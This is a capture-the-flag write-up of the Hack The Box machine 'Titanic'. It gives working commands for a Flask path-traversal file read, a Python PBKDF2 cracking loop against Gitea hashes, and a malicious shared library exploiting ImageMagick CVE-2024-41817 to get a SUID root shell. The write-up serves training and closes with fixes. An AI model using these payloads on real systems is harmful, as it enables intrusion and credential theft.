Summary
Titanic is an Easy Linux box: Flask cruise-booking site +
dev.titanic.htb Gitea. Path traversal in /download?ticket=
because os.path.join(TICKETS_DIR, ticket) accepts an absolute
/etc/passwd value and drops the prefix → arbitrary file read.
Exfil Gitea SQLite db; PBKDF2 hashes → developer’s password →
SSH. CVE-2024-41817 in ImageMagick: a root cron runs
magick identify on JPEGs in a writable directory; ImageMagick
loads libxcb.so.1 from the cwd; drop a malicious shared
library that setuid(0)s on constructor → SUID bash → root.
The chain:
/download?ticket=/etc/passwd→ arbitrary read.- Exfil
/home/developer/gitea/data/gitea/gitea.db→ Gitea PBKDF2-HMAC-SHA256 (50000 iters, 50 bytes) hashes; developer’s password (date-style numeric) cracks against rockyou via a 30-line Python loop → SSH. /opt/scripts/identify_images.sh(root cron, ~60s)cds into/opt/app/static/assets/images/and runsmagick identifyon every*.jpg. The directory is group-writable fordeveloper.- CVE-2024-41817:
magickresolveslibxcb.so.1(and other helper libs) relative to the cwd. Drop a maliciouslibxcb.so.1whose constructorcps/bin/bashto/tmpand SUIDs it. Next cron tick →/tmp/rb -pis effective root.
Recon
22/tcp OpenSSH
80/tcp nginx → titanic.htb (Flask) + dev.titanic.htb (Gitea)
Foothold — /download traversal
# Flask handler:
@app.route('/download')
def dl():
t = request.args.get('ticket')
return send_file(os.path.join(TICKETS_DIR, t))
os.path.join('/tickets', '/etc/passwd') returns /etc/passwd.
curl 'http://<TARGET>/download?ticket=/etc/passwd'
curl 'http://<TARGET>/download?ticket=/home/developer/gitea/data/gitea/gitea.db' \
-o gitea.db
User pivot — Gitea SQLite
sqlite3 gitea.db "SELECT name,passwd,salt,passwd_hash_algo FROM user"
# administrator|<hex100>|<hex32>|pbkdf2$50000$50
# developer|<hex100>|<hex32>|pbkdf2$50000$50
The passwd_hash_algo is pbkdf2$50000$50 — Gitea’s custom
PBKDF2-HMAC-SHA256 with 50000 iterations and 50-byte output.
Hashcat doesn’t have a dedicated mode for this exact KDF; the
quickest path is a 30-line Python loop over rockyou:
import hashlib, binascii
salt = binascii.unhexlify('<32-hex-salt>')
target = binascii.unhexlify('<100-hex-hash>')
for pw in open('/usr/share/wordlists/rockyou.txt','rb'):
pw = pw.rstrip(b'\n')
if hashlib.pbkdf2_hmac('sha256', pw, salt, 50000, 50) == target:
print('FOUND:', pw); break
Hits <DEV_PW> (a date-style numeric string) in seconds against
rockyou.
ssh developer@<TARGET>
Privesc — CVE-2024-41817 (ImageMagick cwd lib load)
$ cat /opt/scripts/identify_images.sh
cd /opt/app/static/assets/images
truncate -s 0 metadata.log
find /opt/app/static/assets/images/ -type f -name "*.jpg" \
| xargs /usr/bin/magick identify >> metadata.log
$ magick --version
ImageMagick 7.1.1-35 # vulnerable; -36 has the fix
The cd is the security-critical line: it sets magick’s cwd
to the very directory developer can write to. Even though the
crontab is in root’s personal crontab and not visible from
developer’s shell, the cadence is observable by watching
stat /opt/app/static/assets/images/metadata.log — its Modify
timestamp ticks every ~60s.
CVE-2024-41817: ImageMagick searches the working directory for
configuration files and shared libraries. When magick
identify is invoked from the images directory, libxcb.so.1
(or other helpers) loads from ./.
cd /opt/app/static/assets/images
cat > evil.c <<'C'
#include <stdlib.h>
__attribute__((constructor))
void run(void) {
setuid(0); setgid(0);
system("cp /bin/bash /tmp/rb && chmod +s /tmp/rb");
}
C
gcc -shared -fPIC -nostartfiles -o libxcb.so.1 evil.c
# wait for cron tick
/tmp/rb -p
Why each step worked
os.path.joinabsolute-path drop: documented Python behaviour, missed by the developer.- PBKDF2 + dictionary password: KDF strong, password weak.
- CVE-2024-41817: ImageMagick’s flexible search path is
intended for “drop-in plugins”; cron + writable input dir
- cwd-relative loader = LPE.
Counterfactuals
- Use
werkzeug.utils.secure_filenameand prefix-check. - Use a real KDF + strong passwords.
- Patch ImageMagick ≥ 7.1.1-36 (CVE-2024-41817 fix).
- Run cron-image-processing tools from a non-input cwd
(
cd /tmp && magick ...) and clearLD_LIBRARY_PATH/ cwd-loading.
References
- 0xdf, “HTB: Titanic” — https://0xdf.gitlab.io/2025/06/21/htb-titanic.html
- IppSec, “Titanic” video walkthrough — https://ippsec.rocks/?#Titanic
- ImageMagick CVE-2024-41817 advisory.